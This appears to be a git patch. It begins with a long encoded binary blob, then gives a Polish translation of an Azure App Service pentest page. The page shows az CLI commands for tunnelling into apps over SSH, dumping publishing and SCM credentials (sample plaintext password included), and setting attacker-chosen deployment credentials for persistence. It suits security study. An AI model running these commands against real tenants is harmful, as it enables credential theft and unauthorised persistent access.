z`WW(7D5izsa0TV~QHVu$NVdeKcl}WE&e;_6$5E+HwjxB4S<9?Bn;*UPwsTLPGe`CA zu6Mj1=gHEGdPIHiTyyNtW_u@2*;VQg0kdpb!?I6(>f43o&tA|nG?-VO&&Gn!LzNQO z_4gy<*#gfC6}-FXa(HVS1J#g62Zy+(RAwcbAsni*UoL=dB9yS>W&U?GL7XYY*~P$^ zJ;aE`N!->%y4CKbr~c;Bzh)d9$&ydU-~yEUHn&{Yy8ca4cBhGabt{9wSK|fc;4((yB2}5{B7Q~ zC(k}TCL+-D50{?5=4aRb^MuaLhvdVM;l?J`=X3mQ<9chWDtXxa7Y#8lZl6e#a@bfb zaP^usJcwc~;%u#m1+-*4H8vK|eVODPLp759^u72M*hvAE*BYn;IYSpfw~dI_oJHhX zZMu%g!U~|f+9QmERIA+wk%NsFl2fNq%pFdoTN$csB#Q16VPF(9$h(K&>Z3qUAqXn? z`OaYG%(b`PbN>bJ9XD=lXXmf=E@gi|wj=P0vsqS_8QTN9zudif;+}E0eeAPenez0? z4^4?sv?b9YKlP2m7qdYuwPn;7}j27-=Y}vMb!! z6;mxjB?hXp_qrDWeGd)Ffeh%P<}Q5;u}-{EET9`F0rYflT?_Hijfo_EkMp)A%`r!z zSVFPkD3t5a*C%cP6^iO$8XFeUKiCY8Ph(R=|KNR;eClLG50Gynh~07*na zRN5F{7|)Y^LtNFfg+~eLk-c-P4Vq5$(!^vGPUI)eOe!F>^tgTaEATpBfCC=TO-P*j zof-jce0H6u6qkr|Cdtl2vBY$6V$bfW3ZTb( z7tr@m!CgA_}N|t6xhA!;(+GHk{X;Bg%D>9R`wk5>3c3XOP zbEjFabW_ctBQf)tPPM8iHsLJS3;A^fe@-w16AWCozU}gcwDD{jWF_~p&2kr6p>#Y2(5pZK)jnK)(wuYNj30jc+ed%8y*(?n z@AWTycEO#BKnCbL6}Id{^@u>_XFphU+oga1v&9idL>-%GZf#+!=kcq}Tlh6tck3>( zQWc3;&oEr6ChT?*kTKHYByz7waaJ;To7L?Xd+4H)BmYbGiv_$K(?~1xSgOxuVfzW} zj~Tkax05DvLU8J9olM?+7sRvCe#B7e zNv6%{c=-E2eg7Z6?PRs49`AZ~%`5^t6M+L3(6hazoq1jA|Cvpn`sjOmZ@=RU>iO04 zn_63VUOW8nrY>#+HYtYz(T`CYrvT-0kWA=C6Dv3AMOPtOj9p~Tw;(89+Vy{~UAcpL zmE89jDd2SmV+7EpaV_?2cAj*tg^3NS{8o%wth{fsn3JlE1$}GYG7gxEQpe$_cahI8 zrVpr!8;ac3)5|RZNGesup`@WIWGDx`SSD{xn2O72aZVRQ7U4_T7N-o*chk`9h12Y~ zgh+Do_mGj0_L*+KIoCZ|LS)ey1GuPHacwZ z6j!a=YW3Z>YRzU*fODOs1Rejs_Ra*}uByKGzqN-m-}z>q$V|c%hA=8J)S@B=q_2av zwY64!we>x1t?yNRY6YLg*4BAwQ9yktpil||PC+t&5E2Z8K!7A|CgzDX_>662gYNU%wk&B)-4q}b0@F` z??^9x^#7m8wG+*yTps#F_v?7~7xpsAZo#~!6-%Iw)Ioc=_q}T|c_>tsh^$TuEkO9)}TNm|Eoz2MT)S+lVbZ zf`BZSbiDU{AKdw$Km9~&)StFLm&VS9M%??#ek1Dn#zyQJ97L=!g=~7nB$Ba<-niUK z{^{G=OvP&d#Ok3_&?|2khJr3dcTAB~vkg&pE`+v{HFDb&>Ir0@x|fF58kUmEYmKlm z8!pa9U|o#H=H(a~*zdKsXEuH3_TRt$s;kuQ%Ihs#L;}YrKtVq~Bc4%#1oQ)UPXFzf zZ~4T?qig=EJ&{uTVsSj49>UN2drgJ4OgxGKUuu5KLb*o7536IFN^8Xun`WwZH2-%6 z_VGlURJR_wOt}|lU%cXWL|x43F3T)RyRfY&{2&Wu=is<5e7^yHVYVrwnv9jt{-jNwWuDuP9 z_IBduL;dKDIM|u@5XjWKR&av=whmLt7!fc2E#*@g6jz<&$s__4k6db)BU%iIljwGt zb&=OM8@9ujHPc>WBTt>}80@n$bP9W#G^LV#SUBeDjKLx3#Ik>ZHL| zlfaRAFS$sz=y(ho83k`_GKTV(7PgY|0Mf&VgR+1u&p&WK0Gz4OcS8 znJ8z;+AT}068#)@_*kM|32WrXGfBOA=)xrwZpi`{=5#kT(M_y`{E?q2MBE6nvW6Zs z0@iXgG+Yk&m%+<61K!^B+2_T+bIbRx_{_3ps^@sD`Fj$mWCHZik6|6Y+f?$fJ=8Y6 zdPi*gZU6kPm;USie`w8T7q&Gu;N@Hz|Jl7CPXKrYKrfV8W0gM=-|WLjLB8u<1)UFr z;wb3VVeePBa4%Zix7*fL?*KsK|UxfUYLIH z3pZc!k+)r^q<9~X6Cl7Xzb62xOs7!L%LJZ}Egb>9W=+e6o4@#X!KO{`nUWcqHIyAe zM>2`~yE^e`QPia_dZ1(qwwT9V@{h=lHnUy%_#cBKJ@w;x_ND9H@$Xc>9{Q+fE-z)0 zB1kr_g^?0cI9FcMJnh1=XTtXv!nMyrJa#UI(cCQ;JF|F>klV49-lJL zAc4v!aQttw%I^bPNCMFJ-aBW_ji3FZdghsHPMtnIdLWa-He2Dl`#bO=fKC7-aN#LH z>a0nU86)VX7~Anb1{Czl8)RX|w_+|h?U{es#hvN0u;MEhfo=e>5Wq?_B`-uQIv<0B z1HrsS@u#l8e)(r_ys`a$rK)0Kr5O29d3IonDu=-FzsV}6t!xPiye#YkP`we#BB)qz|dyJB&y?&!ukKaV{C(&E24E|ja0D@gGUkp$bUv77%C!g8B(o-YYX zUi}dn{pzQOUjD&omPy1jw?xR5smEf1;8X-2Y!r-`&j*}yp!E50)oc?BAB%Nuf7{jV zpZVSoFTYbMl`Vfy*a8wL4FL*zX*lvO<0Me3b-Db%-n`HZPeO7fpeVv;aIPT7{(qaJ1zd-XvrDQb`R-6wro1&xIAc06}&hlBu&{!6{@$UPxcJYSHKJ{POuTnR~HfSt| zvd)F2E<&nt3H%_3;q=y_%Px)o(;Yv!?%OkFsP1v}fR~a$MG~N(SEO0ksPPi$`Pe^P zwc$T*{n~=Ozp&A9k&PwrzIQeh?xp%7A}C}o`=9Y4Y7CwhO=8T z=U(7``-iu`R2~_c?xw1@Kswv~j>Q!~OruU9Da9RxlsQ_;mCSZ%yf~2vEhI z^uqOj{MX%U*8Yv^>RK{m>Qtmt32Ywh!@9n1Z1O#9m*g{HF0tZHW>YEsh(aHSx>q-X zexyamD)3`H|71pxq;^FE0>ls)PklO6bOqv(v!MLN@N?q9_hv4;V#e3M@{J2_UbIMc zoy=o+4GD~kz$D5C1$|tW;>DFtK(AjP-+Iff@818w!=GpzPS0yerciKQJU`fnUk~=; zXVBQK9OQMO7!oJRNJ2rEDfh$kzMHAt;*xq*PPuok#YVrDrrbk8*Jy%|cEDZ+_4%+ljiW$1TD@9H-FJ*b3auQz3tNiWn}EeQfEECA zU^`2p?9-tA(_rZ)B$9=mrslm{e)-Ekx@PfW=4Y?y4=5W~G6EFzlA+{{Dw%*@y*jqx z2lrgD>%oWrzP*3o{CRNWY0JmXwgev7vmG0~09}rSeV#@ZHsX=EiJmTK&jgOi-gMdP zZ295#wm|B!S{hy64zBqrr>Zs&#$+lGwfk~V>KWQiw^pi%% z3#*a9?*IMiw{5@ofsZA3?s?<1#)RtfN6?jY@o>jJJf8E=??ljVN70+hz;>d@dIeZg z#Kj1Y4;6$8RS=anE_?AKBtKVD<*Qhad(?52AFI%_H~$5pn2(CMBrF~8QC>kWde)NF zMK*&URnX;!qs41qE$9cGdhNo9dodroEOwYzDD5C>Cs6PurJsV-Qjz;t@M%ewg z|8ULL2Os`O?!}i@E@((5Bn9kV1w1t{fHnCMQ_!Wyj-glTshg#AQDn~)b&;ufakoum zwVC-9@6s>oP$=QI4_VROdeO-EZ8FVMp7L_gVop7tqU*id+oswLoDQ zcBH%Ol1rxD_Qfy1<=;*{RqZ=Dn!Jhxs+Rx-y?SlOmXCwLj!%E~vS;tQ=fh1ezw(Yb z(Kv#LjUCxEo*eGQZ**YR)dwOm^yhs9wydcK@PYyY3$Sbj$7Ce4koO9qSOO3A^uzm7Tu(S`W<7kP5l*3Khk{?MNUwCb z6rn}%C2k=EC)4S2YWO=KV!QBtg+d_v5SkHKbAVtj;GBtg^em{%Of%N{jZrp*_ zp2E7`4%|18hSbwE`QP0rd}W2HV6_iRdyo}h(cyg2V>hL^iymijDcy*anV}bN++?1! z%n!ut3@dd@O)yz+e{G7{v2?$@f2)d;75t5;gE-y`^$LK4M zq}BI>2(;Y-KbQ#w%V9;%Ld0Exm^}@Jp#e;tlHL5aYo~nWrkl_FadWfk8w)$0O9Hh- zpr!=9mJIXSzLYj3qqKLcUh?`ocQ06X^A|r^cyZgci>I|VXR?Dh;A(7(DBQQZ1J44G zsH#CJ>tVZ)f}JV|;OM;Zz>T1rbaM*!K@UC54L_QoMvItBT2c}Gz=EZ zDdRF`r4FW9h9tOP86Q@Ue8dj+U1s@z|vvnvw#y z@DN9!T7bwhz&jW4mmm>c3SAKC@5wA$gkQh!0~dYnZ$8}cm{MkOo(BokHGy${mDDvm zcD{xP=+)1rp8Dq3{&4rhKmYqVwp!d8bFg=)7keT$9_#PLZ@esa0T@zoWTX-sd^nZ` zC2Qz1T`YOvjn^4&Z!@W6i-InqZZuxDV);H?KNNI1vLamL{1lc~(2q3;j@+Lzju=M?(Z z1=64jVN`oO5`hkyk@2QNTc^Tu&V}QifqZri=Bv&%g6_C7FA9 zkU;4ORQXyY1-*1bfp@AA0=ci;ed?aO@B8T9M<2O3f=bx7Ogqb3y99F=ce}lI^Y++49?L_Y z96>*tn2!p&hV2yd#z^FUadzJPUEIzWNkoy)<-(|TD}kWUhyc@JVYw0VSoBO}vMIE* zv={n%Ur7JXmD9d<)8{Y#(mChUTg9|0SDLX6X`X$O1Ssey367W5HUa&uhh}X5>AmmS z@$&~iI6Z33b{r4=C}5kP$GYBLQ>|@KS?JUOq+*+R=&)rW-ORJY@s+8wt^*N$1?6Y#9O<)0#Xow;`oCS0Ouq29o zA)*l}u(AUAYztD!R%9|A1wYu)^^uRh5^;mc0O$Zy})~ z@O_!qR>-RWzJ$RawzNE&3brOZ^n*cfhrDxnPmxIrv)fN*B_xHeiWF;@+eXxVNG85! zIFWhC=Vt@KsYpc6Kq|2aejz|EySu-!x$mW$zwn;-zWdMcoKhww9S;&9fuj(hpmSJ| zz;Oud|G!^b`SMTh`^4b0TP|;c*U&zF3if&!CYn8B zqP8{i#wiaF6gR2MU$PfHbkxW9F)Xi#J__&fsrN%kX3T_z2)Ze-;=oc;zdQ=9g^ScN zm*9eF0G1;eJr9kk^WYVd7#{BOfW6*XEA0RH_pkrA8_&3qbcQ502G9G$*eg}rWN*3zdHG?G zmm`(iU_rv=e3KG3oRW5mbI@K*1jR{@j#724=%H&#uP3?MO#zk|6r@U86agCGU>1}$ zAFg!<60xNS{1#+0eV8@Zd*Y%uwEn+OeRjpI3l}mc`=ktVKBVdiP|&O1gzUg%5zrep zG;RCQgO}|3#jifnw6F8Zlve2R6t)*K*p%tTGhUyWg6~t|nz|%L5pP`ty&#$9ih?cy zU`}zVIm{F{z8;jWy-EiLL-}(Eq*3X%vGUKDet4W}K2#oWqq<%oLrz9{+ApMOy&ffI>J3iU7 zar0YeG_=Hg+s1C4!{*^`Y##2x4iwM>K$Ive0dvYSsbe8kVC0bWui-z;e)iFj@37?R zXc3c8@xwgtM~ddF%a$r75%tQHZB@1`S}WK(g%&Kpnbs;Sn{qK6CxU18uf@jTPW0m? z!1BVPGR55UVT{_L)T^(0$vBwp?a0;sV!m6`#KSVf9ZVo2Q|;PJvqPrwqSkrKRu~IgISPc8U3^sJ{#YR1VE(LU1Kw2*H6z29)}vimvi}{quo{fKBv@e$ak)$c zy$y?Srn3r5+b)D{N3f-1JvIeDK`*vJ+mdQEkVNUl!lqIfr6}lf4^wGov}~MdVA%Dd z(kl}LSAeqp;`VwQfp44Are?3bq;fTdY+Mv%4FWUFe<_>^*II~%_+nVP1*vEo4)pEH z*@<1--+RLw|M5dNEO}tcsY*5u@E`#a7$X4+`WS)nbP_n6z~EPIy=24p?|6UL<{j5e zNj9};+d)^5!$AvFcFRM zp2Onl;@q1=b0)aVHUVZ~Q4`5VSIo!~NX_<8)U_wSkE0z+ah7upmb6_2+lu13u65Yx z|F|gV;mW@DeN!0aP<{4d?@TcnIf^p|BIrd;KUf`3NrF}#3b$0B(_v*a^E3Hlx$uH0 zV%99EU>hedD#~LTN7zr;TJF0Hs%=>7Omtt+!(I$ireJH&m=w=Um0ZsI#|**)OAUa^V(GD(i}@l%bIOz@rXEDTTIJpmh!{r$aK0Td&bSOfV8bB z=2GAN(5$=po#Vvd$%}wwz0=Yb5%nh6XorP4W{SNfc?N8MmZXt^W#=%M-j!ayV#=d` z^5>V`_{UdbgF0Qwu09?lKmy|=KtUfT!0>Xu=avLx4ctVp-yMJAKW=-^`aAFY=$u6J ztdw%2wyn_X=kdZoC!Wc6VFw1$fdcwOC{+}BON3ma-TkmK+rg=A3o4MQ?8EnX%YHZ! ze_3M}V7Bpy%^La_ULIu}cq8b=uMPQInqx;`>m-6835`a$n283p1j)!^v^SoE%uo^zQpouOh&FU? zdF!>yzx7A&oBxv)7c1H6$Abh&phN^H=p_Ql+mOKF1oYicF8J(>(u+a(^GZ4oDB%=$Fv=<;^Pe(TGprN4&nOygQ zMW;5d`HK&n`?*ygP#ZW}NPq-NPk@46dZxT%2?=PeRka36X|0{LfB&WHdLDo7T_YQJ zyt%OuNjA2&W6;*vGT4LXa@}|?-+?ZSU=V5KM5-mzoOs|O)G~D**ll6*nx=oY$WZ)Xo#MLxN{1W*DRIZq3zzDL{smJzkAIo z-+upx&bV*(G9^3uc#r@IOaK82`UF7bElJ>2-ueU2&3oY|zr1$ygKPgh*ExJzb5om> zi$$?JKZxft9oUl_z<%!l`jEyD^2mx5Dh=O~QmZm49!mP?D!Wd32YV zxYnLyrohERUr`K-i`sE)?OKaXzD&74Z(a>#ZQN{`Gt=sl^hHEHoZb&i%5)EbDn`JY z_XbH2lK@PnH`!O-h$NmMT8g-{z|<@cytrIfu-yKhdCP)d-0(jx`TSenrM7TX zkN^oxECCAo#Pa3cN#G!X?A@Ce{PNa&-uLVyPrkby$+=V8XP`TsMlNP!_h2`+4D7@n z96&EJ=*I}s$ikC->W+rzhug+1CmOD6%f9xg?EeAn!~g&h2uVaiRPi2y6>j|wm)^yJ z4qVuN0!@06Swmkg_0a7&p6gtTr@gz-ueO;zq;baZqB4NnZEY{*J^~Vn*rSn z7qifS`DltRK+>Iwh?;^z&Vg;afbDfPHRG8#y>MI2^-h%{4;KT?} z&`*pL&mw`663~zLG`_U@iE|$M>fQgesCnLu;dE}!o{mm9sU&nNhL`(x;kkjAZ~z17 z!!Y_Wh%EB391DRYpV1nQN$_eM?K$HwW5}p)ooKxm*Gf%)~VNG_=N-!VRV&;mkxT z(T3jP9u#!%-oWkLd;X=fzxS6nTy*#8SF4Va!s5+HfCNs600sSoFdcCccd4BWHC}TR z0(x~+rO9x5?!$DQ5$nm)&mRe7zkel$8u` zDu}|;O|Z}m2QzU>>O4$sTn=xz5h$dPblOcoT>nV-P_#L}d%@}PU%&g$SAOY=zhM4# z4ssGGCjkn2IqCD+Bv2%v*Yvmi?6&)_{O!*+{$(N;JFnGkYE2KOq2o3Nf;4t#IKh`e?3eYD;v=YRsp%70EHN2ANuJ<58bum*wVQkn`8|g+hr4-`6DT3 z9V-gQwxJ4=i#-Y#EoNF>{+ly(CHzby9Nmm)B!$4sBAXlNPc}GPT4w64SFAei-%elE zy6wF4BnK@I5+H$c5}=@$lRlqK0!I+gKN*_(z>ogxU0Wa7{H`XIIz{=;6w9{Z$1L;) zX}r|C6T61@p%(*YjeQV9#$y+87EjwR3c6HcZ^lBLW?vmvTeIVMwqqSO`FEiYFB?IZ zJ>@o1M*JPb5J4lFFdI$oe6&TEAZgD-%$kOgw1(wch$e!8A#c~dcw^?}RqwpyGw;1< z#wPXqCLEpz36MYq5TKw}fDzaP5;&4T&%Hf!*4(q^@|Palc3rkJdv;96=e4%BnW^}` z^dNeMd(epkcqX$I-9ayggCY3FXD=qHfrUoQ$C=hOSUUA0M66gS=z&bRZ->OQ%T~2G zW|(rOQp%;-IR#TrB39ciS9i>m|Rl=*yR_nzDBB+mxiD=RpD_P=N#}=oM%bHi-m| zB%pt)8-M?Spj+=i4r#MDd`9e2 z%$Rb9Ng(q|=Vt85Za@wrNMaVIBo|?Bd^x;y46vezCXy)V0E79yyl3~n=rp9C{lgos z{QO0iH@`6FVwIs)NPq+?n*as9vhBmxk-)16h_FAl`niiY{py)N*!xoVr3tIylw2la z6(nelU3oZEdmlH`j0~X}lx&eTOlTu9cg9kdFtQ{HC5e&TOR@|ZQIVx-Bx}ZdsVPNQ zs+;9CsN7H{g{&{R#SPb9NO`|!W<1Y*-oM^?&OdX0=bZ2I`Fy^=?L0F?xeL8!iO1?B zVq(60;8Iced`8KvffXfSs_(V-P?6&8R fd$V<$sW!5?4rL46d8XTircFh; zqjHlT(;db>{Y&GS#vHZWco@c*LOCmKbPU$S)ufQSf(m--j*SGKqkm7AHnzUqHb3id zux-gI>H}TTiijj;hBj?~JY*(GQ9X|FP$-is?!fR+?DnJ)wPsz>!8j`hL)wQl8=5>fMQF z)OS?H_GiSj9gSUanVfF#BO$+nM`?yqvQl+{rLjvd;QR#Los zMqUbLf4>|VHaLv9G8*SJ%n9n~ys;GIk2op^O zl(=aVmhYSh?wtr@2_J5X-(`5D8!LFSAD*+BG9r&yK@6p+QKJo53EoC8{4E6`!a^4; zj5ys?F25I!E;)}Xn^Soh3--<)0DDa@0=jJZnFzYX9g{FM&+qwdXN(2N)f}_Xzjy27 zySrNFc-sE&r_?@fp-OIk|GCZ8Lo%~v7kcpsA=?b-_R{Z__GUeSoUalK zy;W2-{=8EKUP5_o^gmJ3Yqz~qoW_Wgrdco2Ht5_KhiBj&H9qf4;KUm>(y8Ge1+9D^a`|{c8P%M=<*3dq#0jzn0 zqXstZ*lu&iY|idH5nDTVAgW1Ri(Fovkk)t$vXgp61omqeB8`MNx{5+?>;Il{A28zt zqVx010%zTAMxa0*7uyX3AU+~5EaMYMD$zAr7#rUYV!S&ACXZ{v93b$n;={CGU6x7Z zl6xyQ0+KA`!aezmvV01l2-#G?1^2uqj|GeoM}A8W62fw2TXNOLGTTuh%R zV&BLxFEmTWER+~0KUmZO@^-DyPVFbihD(_VBjKPR5(UF8)qI6OsIuYd0(L;&Q0OM0 zU-o1q5XEc58r;mRyVs$idKe;HD5ztqZ_{?K-oY-1f)Y%ee(?-~GE1 zM(dZQm@Sh>rQBIl2gH{&$e+}~mTrcKPmgY!R`8nzBza94hX6{x46Km?oVY27jn7vp zMX6UvKvFtD$v+gvoOA9*ksnUL2@PsF6vg?Vs4sZ}a^HfdfW*ev2_905kf`)y_ZdOW z$lU@6Zw;&1an?G1Nad`5NJJJUeSdsHoSB8@ck?=ieG1FC)CIk))NyC1dt!LKi3M+w zGIUuDMKHmkmp_}}PSqr0?Cj%Jq64F5LWb4I&hpac-uCG04)KMPxF^!s*arM83h@gL z!)Z*j_9)#eFLG=KCpdT3l1)$WHoi=&`IT<8*LICepKZdhKeRQ$D&q)mwX`X~w{l^~ z{2TvK_JnO&r4mr8GuuB#lM4CveyU7p_~g-U<(IMp%oly1BC#5wWk*f`PmGz2-0 zDVkm%6U*vIWzQ1teQzXC zGcvF;LYhup#H?1ZP^5zGZ(aLN66L7%F6~aYGl63T=jF&FAjscf z&(3(OL`;DaENx&GE;ga~otM8lnPQ+AO@hu%fHEk=8-A8mX4O&}SPC9p z^cBXSqYT;m%VWl|+%mppOi4u})C|3xsg$w){K^veprj_WMO}lW%hxJ`f%%*q-|4xv zB;0&HCsvaoqXzGi;_dv*F8P@FVcfsG-P3V6LgoP?q+u-x-MB%f8fE?CnaQ-iK*ua~ zs&RrN#r!F%p%i?yKrc%T*>J+qXVpiqhloAS5IX*keuW>1ZXz-UT33H^wQfZsHODfe z%Ta-m>{EB5_*?NNmNal6dp&|meRJM5a;*&K`^Mtr^DpmxHG1|V<2n%M-m^&3Dsfa9 ZE7J3mdLk)$=e$MWV{7ebRR;T~{{;o| --resource-group ``` - -- **Create tunnel and then connect to SSH**: - +- **Utwórz tunel, a następnie połącz się z SSH**: ```bash az webapp create-remote-connection --name --resource-group @@ -35,152 +32,146 @@ az webapp create-remote-connection --name --resource-group ## So from that machine ssh into that port (you might need generate a new ssh session to the jump host) ssh root@127.0.0.1 -p 39895 ``` +- **Debuguj aplikację**: +1. Zainstaluj rozszerzenie Azure w VScode. +2. Zaloguj się w rozszerzeniu za pomocą konta Azure. +3. Wypisz wszystkie usługi aplikacji w subskrypcji. +4. Wybierz usługę aplikacji, którą chcesz debugować, kliknij prawym przyciskiem myszy i wybierz "Rozpocznij debugowanie". +5. Jeśli aplikacja nie ma włączonego debugowania, rozszerzenie spróbuje je włączyć, ale Twoje konto musi mieć uprawnienie `Microsoft.Web/sites/config/write`, aby to zrobić. -- **Debug the application**: - 1. Install the Azure extension in VScode. - 2. Login in the extension with the Azure account. - 3. List all the App services inside the subscription. - 4. Select the App service you want to debug, right click and select "Start Debugging". - 5. If the app doesn't have debugging enabled, the extension will try to enable it but your account needs the permission `Microsoft.Web/sites/config/write` to do so. +### Uzyskiwanie poświadczeń SCM i włączanie uwierzytelniania podstawowego -### Obtaining SCM Credentials & Enabling Basic Authentication - -To obtain the SCM credentials, you can use the following **commands and permissions**: - -- The permission **`Microsoft.Web/sites/publishxml/action`** allows to call: +Aby uzyskać poświadczenia SCM, możesz użyć następujących **komend i uprawnień**: +- Uprawnienie **`Microsoft.Web/sites/publishxml/action`** pozwala na wywołanie: ```bash az webapp deployment list-publishing-profiles --name --resource-group # Example output [ { - "SQLServerDBConnectionString": "", - "controlPanelLink": "https://portal.azure.com", - "databases": null, - "destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net", - "hostingProviderForumLink": "", - "msdeploySite": "happy-bay-0d8f842ef57843c89185d452c1cede2a", - "mySQLDBConnectionString": "", - "profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Web Deploy", - "publishMethod": "MSDeploy", - "publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443", - "userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a", - "userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", - "webSystem": "WebSites" - }, - { - "SQLServerDBConnectionString": "", - "controlPanelLink": "https://portal.azure.com", - "databases": null, - "destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net", - "ftpPassiveMode": "True", - "hostingProviderForumLink": "", - "mySQLDBConnectionString": "", - "profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - FTP", - "publishMethod": "FTP", - "publishUrl": "ftps://waws-prod-yt1-067.ftp.azurewebsites.windows.net/site/wwwroot", - "userName": "happy-bay-0d8f842ef57843c89185d452c1cede2a\\$happy-bay-0d8f842ef57843c89185d452c1cede2a", - "userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", - "webSystem": "WebSites" - }, - { - "SQLServerDBConnectionString": "", - "controlPanelLink": "https://portal.azure.com", - "databases": null, - "destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net", - "hostingProviderForumLink": "", - "mySQLDBConnectionString": "", - "profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Zip Deploy", - "publishMethod": "ZipDeploy", - "publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443", - "userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a", - "userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", - "webSystem": "WebSites" - } +"SQLServerDBConnectionString": "", +"controlPanelLink": "https://portal.azure.com", +"databases": null, +"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net", +"hostingProviderForumLink": "", +"msdeploySite": "happy-bay-0d8f842ef57843c89185d452c1cede2a", +"mySQLDBConnectionString": "", +"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Web Deploy", +"publishMethod": "MSDeploy", +"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443", +"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a", +"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", +"webSystem": "WebSites" +}, +{ +"SQLServerDBConnectionString": "", +"controlPanelLink": "https://portal.azure.com", +"databases": null, +"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net", +"ftpPassiveMode": "True", +"hostingProviderForumLink": "", +"mySQLDBConnectionString": "", +"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - FTP", +"publishMethod": "FTP", +"publishUrl": "ftps://waws-prod-yt1-067.ftp.azurewebsites.windows.net/site/wwwroot", +"userName": "happy-bay-0d8f842ef57843c89185d452c1cede2a\\$happy-bay-0d8f842ef57843c89185d452c1cede2a", +"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", +"webSystem": "WebSites" +}, +{ +"SQLServerDBConnectionString": "", +"controlPanelLink": "https://portal.azure.com", +"databases": null, +"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net", +"hostingProviderForumLink": "", +"mySQLDBConnectionString": "", +"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Zip Deploy", +"publishMethod": "ZipDeploy", +"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443", +"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a", +"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", +"webSystem": "WebSites" +} ] ``` +Zauważ, że **nazwa użytkownika jest zawsze taka sama** (z wyjątkiem FTP, który dodaje nazwę aplikacji na początku), ale **hasło jest takie samo** dla wszystkich. -Note how the **username is always the same** (except in FTP which ads the name of the app at the beginning) but the **password is the same** for all of them. - -Moreover, the **SCM URL is `.scm.azurewebsites.net`**. - -- The permission **`Microsoft.Web/sites/config/list/action`** allows to call: +Ponadto, **adres URL SCM to `.scm.azurewebsites.net`**. +- Uprawnienie **`Microsoft.Web/sites/config/list/action`** pozwala na wywołanie: ```bash az webapp deployment list-publishing-credentials --name --resource-group # Example output { - "id": "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/carlos_rg_3170/providers/Microsoft.Web/sites/happy-bay-0d8f842ef57843c89185d452c1cede2a/publishingcredentials/$happy-bay-0d8f842ef57843c89185d452c1cede2a", - "kind": null, - "location": "Canada Central", - "name": "happy-bay-0d8f842ef57843c89185d452c1cede2a", - "publishingPassword": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", - "publishingPasswordHash": null, - "publishingPasswordHashSalt": null, - "publishingUserName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a", - "resourceGroup": "carlos_rg_3170", - "scmUri": "https://$happy-bay-0d8f842ef57843c89185d452c1cede2a:bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS@happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net", - "type": "Microsoft.Web/sites/publishingcredentials" +"id": "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/carlos_rg_3170/providers/Microsoft.Web/sites/happy-bay-0d8f842ef57843c89185d452c1cede2a/publishingcredentials/$happy-bay-0d8f842ef57843c89185d452c1cede2a", +"kind": null, +"location": "Canada Central", +"name": "happy-bay-0d8f842ef57843c89185d452c1cede2a", +"publishingPassword": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", +"publishingPasswordHash": null, +"publishingPasswordHashSalt": null, +"publishingUserName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a", +"resourceGroup": "carlos_rg_3170", +"scmUri": "https://$happy-bay-0d8f842ef57843c89185d452c1cede2a:bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS@happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net", +"type": "Microsoft.Web/sites/publishingcredentials" } ``` +Zauważ, że **poświadczenia są takie same** jak w poprzedniej komendzie. -Note how the **credentials are the same** as in the previous command. - -- Another option would be to **set you own creds** and use them: - +- Inną opcją byłoby **ustawienie własnych poświadczeń** i ich użycie: ```bash +# Show if any user is configured (password won't be shown) +az webapp deployment user show + +# Set your own credentials az webapp deployment user set \ - --user-name hacktricks \ - --password 'W34kP@ssw0rd123!' +--user-name hacktricks \ +--password 'W34kP@ssw0rd123!' + +# To delete it, check https://stackoverflow.com/questions/45275329/remove-deployment-credentials-from-azure-webapp ``` +Następnie możesz użyć tych poświadczeń do **uzyskania dostępu do platform SCM i FTP**. To również świetny sposób na utrzymanie trwałości. -Then, you can use this credentials to **access the SCM and FTP platforms**. This is also a great way to maintain persistence. - -Remember that to access the SCM platform from the **web you need to access to `/BasicAuth`**. +Pamiętaj, że aby uzyskać dostęp do platformy SCM 